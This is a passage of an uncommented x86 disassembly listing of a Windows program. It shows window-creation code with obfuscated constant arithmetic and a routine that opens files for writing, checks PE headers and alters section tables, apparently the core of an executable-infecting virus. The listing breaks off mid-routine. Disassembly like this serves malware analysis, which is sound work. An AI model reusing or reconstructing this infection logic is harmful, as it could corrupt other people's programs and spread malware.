		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, dword_551188
		add	ebx, 36h
		movsx	edx, word_551148
		add	ebx, edx
		add	edi, ebx
		movsx	ebx, word_5510FC
		dec	ebx
		add	edi, ebx
		push	edi
		mov	edi, dword_551154
		add	edi, 5
		add	edi, dword_5510AC
		push	edi
		push	50800009h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		movsx	edi, word_5510F8
		sub	edi, 5
		push	edi
		call	ds:dword_4CD93C
		mov	[ebp+var_138], eax
		push	offset word_552976
		call	sub_43CAF7
		mov	[ebp+var_284], eax
		push	offset byte_55295D
		call	sub_43CAF7
		mov	[ebp+var_288], eax
		mov	edi, dword_551124
		movsx	ebx, word_5510FC
		add	edi, ebx
		sub	edi, 4
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_551148
		movsx	ebx, word_5511CC
		add	edi, ebx
		sub	edi, 0Ah
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	ds:dword_4CC558[edi]
		mov	edi, dword_5511AC
		add	edi, 31h
		add	edi, dword_55124C
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		movsx	edi, word_551104
		mov	ebx, dword_55121C
		lea	edi, [edi+ebx+10h]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, dword_551214
		sub	edi, 3
		push	edi
		call	ds:dword_4CD93C
		mov	[ebp+var_13C], eax
		mov	eax, dword_5510E8
		dec	eax
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		movsx	eax, word_551198
		mov	edx, dword_551228
		add	edx, eax
		sub	edx, 9
		push	edx
		mov	edx, dword_55117C
		add	edx, dword_551204
		sub	edx, 9
		push	edx
		mov	edx, dword_55119C
		sub	edx, 4
		push	edx
		push	2BCh
		mov	edx, dword_5510A0
		add	edx, dword_551174
		sub	edx, 0Ah
		push	edx
		push	dword_5510BC
		add	eax, dword_551154
		dec	eax
		push	eax
		mov	eax, dword_5511E4
		add	eax, 10h
		push	eax
		call	ds:dword_4CC220
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_13C]
		call	ds:dword_448018
		push	offset byte_552953
		call	sub_43CAF7
		mov	[ebp+var_290], eax
		push	offset word_55294E
		call	sub_43CAF7
		add	esp, 18h
		mov	edi, dword_551130
		dec	edi
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_551134
		sub	edi, 2
		push	edi
		push	[ebp+var_138]
		mov	edi, dword_5510A0
		add	edi, 0F2h
		movsx	ebx, word_551210
		add	edi, ebx
		mov	ebx, dword_551098
		add	ebx, dword_551248
		sub	ebx, 9
		sub	edi, ebx
		push	edi
		mov	edi, [ebp+var_120]
		mov	ebx, dword_551154
		add	ebx, dword_551214
		sub	ebx, 7
		sub	edi, ebx
		push	edi
		movsx	edi, word_551148
		add	edi, dword_5511E4
		sub	edi, 4
		push	edi
		mov	edi, dword_551108
		sub	edi, 7
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, dword_551234
		add	edi, dword_551170
		sub	edi, 0Ch
		push	edi
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:dword_4CC55C[ebx], edi
		mov	eax, dword_55120C
		add	eax, dword_551174
		cmp	[ebp+eax+var_10A], 34h
		jnz	short loc_43AC3B
		push	offset word_552946
		call	sub_43CAF7
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_4475D4
		jmp	short loc_43AC53
; ---------------------------------------------------------------------------


loc_43AC3B:				; CODE XREF: sub_43A324+8FBj
		push	offset dword_552938
		call	sub_43CAF7
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_4475D4


loc_43AC53:				; CODE XREF: sub_43A324+915j
		push	offset word_5528C6
		call	sub_43CAF7
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_154]
		push	edi
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	ds:dword_50E928
		push	offset dword_5528BC
		call	sub_43CAF7
		mov	[ebp+var_298], eax
		mov	edi, dword_551168
		add	edi, dword_5511E0
		sub	edi, 6
		push	edi
		push	dword ptr [ebp-10Ch]
		push	dword_551238
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_5511D4
		add	edi, 28h
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_5511A4
		add	edi, 4
		push	edi
		mov	edi, dword_5510EC
		movsx	ebx, word_55113C
		add	edi, ebx
		push	edi
		push	50000000h
		lea	edi, [ebp+var_253]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		movsx	edi, word_5510F8
		add	edi, dword_551200
		sub	edi, 0Ah
		push	edi
		call	ds:dword_4CD93C
		mov	[ebp+var_258], eax
		movsx	eax, word_5511C4
		add	eax, dword_5510A4
		sub	eax, 0Fh
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_551204
		add	eax, dword_551140
		sub	eax, 3
		push	eax
		movsx	eax, word_551148
		add	eax, dword_551110
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_551158
		sub	eax, 3
		push	eax
		push	190h
		movsx	eax, word_551164
		dec	eax
		push	eax
		mov	eax, dword_551234
		add	eax, dword_551120
		sub	eax, 10h
		push	eax
		movsx	eax, word_5510F8
		movsx	edx, word_5510CC
		add	eax, edx
		push	eax
		mov	eax, dword_5510E0
		add	eax, 0Ah
		push	eax
		call	ds:dword_4CC220
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_448018
		push	offset dword_5528B0
		call	sub_43CAF7
		mov	[ebp+var_2A0], eax
		push	offset off_5528AC
		call	sub_43CAF7
		mov	[ebp+var_2A4], eax
		mov	edi, dword_551090
		sub	edi, 4
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_551240
		movsx	ebx, word_5511E8
		add	edi, ebx
		sub	edi, 0Fh
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_551120
		add	edi, 124h
		push	edi
		movsx	edi, word_5511CC
		mov	ebx, dword_5511BC
		lea	edi, [edi+ebx+2Dh]
		push	edi
		mov	edi, dword_55110C
		add	edi, 49h
		push	edi
		mov	edi, dword_551158
		add	edi, 43h
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, dword_5511E0
		sub	edi, 4
		push	edi
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:dword_4CC564[ebx], edi
		push	offset dword_5528A0
		call	sub_43CAF7
		mov	[ebp+var_2B0], eax
		push	offset dword_55289C
		call	sub_43CAF7
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		mov	edi, dword_5511C0
		movsx	ebx, word_551118
		add	edi, ebx
		sub	edi, 9
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_551160
		sub	edi, 7
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_551154
		add	edi, 11Dh
		add	edi, dword_5511B0
		push	edi
		mov	edi, dword_551200
		add	edi, 26h
		add	edi, dword_55122C
		push	edi
		mov	edi, dword_551098
		add	edi, 3Ah
		add	edi, dword_551120
		push	edi
		movsx	edi, word_551194
		movsx	ebx, word_5511A4
		lea	edi, [edi+ebx+3]
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2B4]
		push	edi
		mov	edi, [ebp+var_2B0]
		push	edi
		mov	edi, dword_5510AC
		sub	edi, 7
		push	edi
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:dword_4CC560[ebx], edi
		mov	eax, dword_551180
		movsx	edx, word_5510FC
		add	eax, edx
		dec	eax
		mov	[ebp-102h], ax
		jmp	loc_43B032
; ---------------------------------------------------------------------------


loc_43AF6E:				; CODE XREF: sub_43A324+D21j
		push	offset dword_552894
		call	sub_43CAF7
		movzx	edi, word ptr [ebp-102h]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50E928
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_55117C
		add	eax, dword_55111C
		sub	eax, 9
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_448018
		push	offset word_55288A
		call	sub_43CAF7
		movzx	edi, word ptr [ebp-102h]
		mov	ebx, dword_55119C
		add	ebx, 3
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50E928
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word_551208
		movsx	edx, word_551210
		add	eax, edx
		sub	eax, 6
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_448018
		inc	word ptr [ebp-102h]


loc_43B032:				; CODE XREF: sub_43A324+C45j
		movzx	eax, word ptr [ebp-102h]
		movsx	edx, word_5511A8
		add	edx, 0Dh
		cmp	eax, edx
		jl	loc_43AF6E
		push	offset word_552882
		call	sub_43CAF7
		mov	[ebp+var_2C0], eax
		push	offset word_55287E
		call	sub_43CAF7
		mov	[ebp+var_2C4], eax
		mov	edi, dword_551200
		add	edi, dword_55124C
		sub	edi, 0Eh
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_5510D4
		add	edi, dword_551214
		sub	edi, 8
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_5510A4
		add	edi, 11h
		push	edi
		mov	edi, dword_5510D8
		add	edi, 4Ah
		add	edi, dword_5510B0
		push	edi
		mov	edi, dword_551220
		add	edi, 7Ah
		push	edi
		movsx	edi, word_5510F8
		mov	ebx, dword_551174
		lea	edi, [edi+ebx+23h]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:dword_4CC568[ebx], edi
		movsx	eax, word_5510CC
		dec	eax
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_448018
		push	offset dword_552874
		call	sub_43CAF7
		mov	[ebp+var_2D4], eax
		push	offset word_552852
		call	sub_43CAF7
		mov	[ebp+var_2D8], eax
		mov	edi, dword_551168
		sub	edi, 2
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_5511DC
		add	edi, dword_5510D4
		sub	edi, 5
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_55110C
		add	edi, 3Dh
		add	edi, dword_551230
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_5510F8
		mov	ebx, dword_551224
		lea	edi, [edi+ebx+49h]
		push	edi
		mov	edi, dword_5511C0
		add	edi, 93h
		add	edi, dword_551124
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		mov	edi, dword_5510D8
		sub	edi, 6
		push	edi
		call	ds:dword_4CD93C
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_448018
		push	offset dword_552848
		call	sub_43CAF7
		mov	[ebp+var_2E0], eax
		push	offset word_55282E
		call	sub_43CAF7
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		mov	edi, dword_551100
		sub	edi, 9
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_551130
		add	edi, dword_5511F4
		sub	edi, 0Ah
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	ds:dword_4CC55C[edi]
		mov	edi, dword_5510D4
		add	edi, 12h
		push	edi
		mov	edi, dword_551230
		mov	ebx, edi
		add	ebx, 9Ah
		push	ebx
		mov	ebx, dword_551154
		add	ebx, 0F1h
		add	ebx, edi
		movsx	edi, word_551190
		mov	edx, dword_5511A0
		lea	edi, [edi+edx+13h]
		sub	ebx, edi
		push	ebx
		movsx	edi, word_551138
		add	edi, 7
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		mov	edi, dword_551214
		add	edi, dword_5511D4
		sub	edi, 0Bh
		push	edi
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:dword_4CC56C[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_4CC56C[eax]
		call	ds:dword_448018
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_4CC55C[eax]
		call	ds:dword_4CE914
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_4CC57C[edi], eax
		push	offset sub_441D1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_4CC55C[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_4CE914
		mov	edi, [ebp+var_304]
		mov	ds:dword_4CC578[edi], eax
		push	offset sub_441D1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_4CE914
		mov	edi, [ebp+var_310]
		mov	ds:dword_4CC574[edi], eax
		push	offset sub_441D1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_44B5AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_4CE914
		mov	edi, [ebp+var_31C]
		mov	ds:dword_4CC570[edi], eax
		push	offset sub_441D1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_44B5AC
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_48B9FC


loc_43B466:				; CODE XREF: sub_43A324+10j
					; sub_43A324+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B46B	proc near		; CODE XREF: sub_43D0C6+D9p
					; sub_43D0C6+13Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_551120
		sub	esi, 8
		movsx	edi, word_551198
		dec	edi
		jmp	short loc_43B4D8
; ---------------------------------------------------------------------------


loc_43B488:				; CODE XREF: sub_43B46B+77j
		movzx	edx, word ptr [ebx+edi*2]
		mov	ecx, [ebp+arg_4]
		movzx	ecx, word ptr [ecx+edi*2]
		sub	edx, ecx
		sub	edx, esi
		mov	[ebp+var_4], edx
		movsx	eax, word_5510D0
		sub	eax, 6
		cmp	edx, eax
		jge	short loc_43B4C7
		mov	eax, dword_55112C
		add	eax, 0FFF8h
		add	[ebp+var_4], eax
		mov	eax, dword_551154
		mov	esi, eax
		add	esi, dword_55110C
		sub	esi, 9
		jmp	short loc_43B4D0
; ---------------------------------------------------------------------------


loc_43B4C7:				; CODE XREF: sub_43B46B+3Bj
		mov	esi, dword_5510B8
		sub	esi, 4


loc_43B4D0:				; CODE XREF: sub_43B46B+5Aj
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_43B4D8:				; CODE XREF: sub_43B46B+1Bj
		mov	eax, dword_551220
		add	eax, 1Eh
		cmp	edi, eax
		jb	short loc_43B488
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B46B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B4E9	proc near		; DATA XREF: .data:005512E0o

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_551130
		add	eax, 0F9h
		cmp	edi, eax
		jnz	short loc_43B512
		push	[ebp+arg_14]
		call	sub_44496E
		pop	ecx
		xor	eax, eax
		jmp	short loc_43B532
; ---------------------------------------------------------------------------


loc_43B512:				; CODE XREF: sub_43B4E9+1Aj
		mov	eax, dword_55114C
		add	eax, 101h
		cmp	edi, eax
		jnz	short loc_43B52D
		push	[ebp+arg_14]
		call	sub_440A1B
		pop	ecx
		xor	eax, eax
		jmp	short loc_43B532
; ---------------------------------------------------------------------------


loc_43B52D:				; CODE XREF: sub_43B4E9+35j
		mov	eax, 80020003h


loc_43B532:				; CODE XREF: sub_43B4E9+27j
					; sub_43B4E9+42j
		pop	edi
		pop	ebp
		retn	24h
sub_43B4E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B537	proc near		; DATA XREF: .data:005512FCo
		mov	eax, 80004001h
		retn	10h
sub_43B537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B53F	proc near		; DATA XREF: .data:005512CCo
		push	ebp
		mov	ebp, esp
		push	offset dword_54FF3C
		call	ds:dword_48B9F8
		mov	eax, ds:dword_54FF3C
		pop	ebp
		retn	4
sub_43B53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B556	proc near		; DATA XREF: .data:off_5512C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_552A98
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43B582
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B5D1
; ---------------------------------------------------------------------------


loc_43B582:				; CODE XREF: sub_43B556+1Aj
		push	offset dword_552A18
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43B5A2
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B5D1
; ---------------------------------------------------------------------------


loc_43B5A2:				; CODE XREF: sub_43B556+3Aj
		push	offset dword_5529E8
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43B5C2
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B5D1
; ---------------------------------------------------------------------------


loc_43B5C2:				; CODE XREF: sub_43B556+5Aj
		mov	eax, dword_5511B4
		sub	eax, 4
		mov	[edi], eax
		mov	eax, 80004002h


loc_43B5D1:				; CODE XREF: sub_43B556+2Aj
					; sub_43B556+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43B556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B5D8	proc near		; CODE XREF: sub_43CBE6+1F8p

var_32008	= dword	ptr -32008h
var_32004	= dword	ptr -32004h
var_31FFF	= byte ptr -31FFFh
var_31FFD	= byte ptr -31FFDh
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= byte ptr -31ED8h
var_31ECB	= byte ptr -31ECBh
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_117F	= byte ptr -117Fh
var_1080	= dword	ptr -1080h
var_107C	= dword	ptr -107Ch
var_1078	= dword	ptr -1078h
var_1074	= dword	ptr -1074h
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32008h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551160
		sub	eax, 7
		mov	[ebp+var_31EE4], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31ECB]
		push	eax
		call	ds:dword_4CD814
		add	esp, 0Ch


loc_43B60C:				; CODE XREF: sub_43B5D8+99j
		mov	eax, dword_551124
		sub	eax, 2
		push	eax
		movsx	eax, word_551128
		sub	eax, 5
		push	eax
		push	3
		mov	eax, dword_5510C8
		dec	eax
		push	eax
		mov	eax, dword_551248
		movsx	edx, word_5511A8
		add	eax, edx
		sub	eax, 4
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_54FB18
		mov	[ebp+var_1074],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43B67A
		inc	[ebp+var_31EE4]
		mov	eax, dword_55110C
		dec	eax
		cmp	[ebp+var_31EE4], eax
		jnz	short loc_43B673
		push	[ebp+arg_0]
		call	sub_43FA48
		pop	ecx
		jmp	short loc_43B60C
; ---------------------------------------------------------------------------


loc_43B673:				; CODE XREF: sub_43B5D8+8Ej
		xor	eax, eax
		jmp	loc_43CAF2
; ---------------------------------------------------------------------------


loc_43B67A:				; CODE XREF: sub_43B5D8+7Aj
		mov	eax, dword_551174
		add	eax, dword_5510D4
		sub	eax, 0Ch
		push	eax
		push	[ebp+var_1074]
		call	ds:dword_4CE910
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	ds:dword_48B9EC
		mov	[ebp+var_4], eax
		movsx	eax, word_551128
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1074]
		call	ds:dword_448034
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EE0]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_43CADB
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_43CADB
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		mov	edx, dword_5510DC
		add	edx, dword_5510D8
		sub	edx, 9
		cmp	eax, edx
		jz	loc_43CADB
		and	[ebp+var_1184],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, dword_551188
		add	ecx, 8
		cmp	edx, ecx
		jnz	short loc_43B784
		mov	edx, dword_551204
		add	edx, dword_551160
		dec	edx
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_43B784
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EF4], eax
		movsx	eax, word_5510D0
		cmp	[ebp+var_31EF4], eax
		jnb	loc_43CADB
		mov	[ebp+var_1184],	1


loc_43B784:				; CODE XREF: sub_43B5D8+16Ej
					; sub_43B5D8+183j
		cmp	[ebp+var_1184],	0
		jz	short loc_43B7DC
		mov	eax, dword_551170
		movsx	edx, word_551094
		add	eax, edx
		cmp	[ebp+var_31EF4], eax
		jnb	short loc_43B7BC
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_55110C
		add	ecx, 2
		sub	edx, ecx
		mov	[eax], dx
		jmp	short loc_43B7DC
; ---------------------------------------------------------------------------


loc_43B7BC:				; CODE XREF: sub_43B5D8+1C9j
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_551230
		movsx	edi, word_5510D0
		add	ecx, edi
		sub	ecx, 4
		sub	edx, ecx
		mov	[eax], dx


loc_43B7DC:				; CODE XREF: sub_43B5D8+1B3j
					; sub_43B5D8+1E2j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, [ebp+var_840]
		mov	[ebp+var_106C],	eax
		add	[ebp+var_106C],	0F8h
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31EF8], eax
		add	[ebp+var_106C],	eax
		mov	eax, 28h
		mov	ecx, dword_5511C0
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_31EFC], eax
		add	[ebp+var_106C],	eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0D4h]
		add	[ebp+var_106C],	ecx
		mov	eax, [eax+54h]
		cmp	[ebp+var_106C],	eax
		ja	loc_43CADB
		mov	eax, dword_5511B4
		sub	eax, 4
		mov	[ebp+var_C54], eax
		mov	eax, dword_55116C
		sub	eax, 5
		mov	[ebp+var_1C], eax
		mov	eax, dword_5511F4
		sub	eax, 9
		mov	[ebp+var_105C],	eax
		mov	eax, dword_5510F0
		sub	eax, 3
		mov	[ebp+var_434], eax
		jmp	loc_43B951
; ---------------------------------------------------------------------------


loc_43B88F:				; CODE XREF: sub_43B5D8+386j
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F08]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F00], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_1C]
		cmp	[ebp+var_31F00], eax
		jbe	short loc_43B8E6
		mov	eax, [ebp+var_31F00]
		mov	[ebp+var_1C], eax


loc_43B8E6:				; CODE XREF: sub_43B5D8+303j
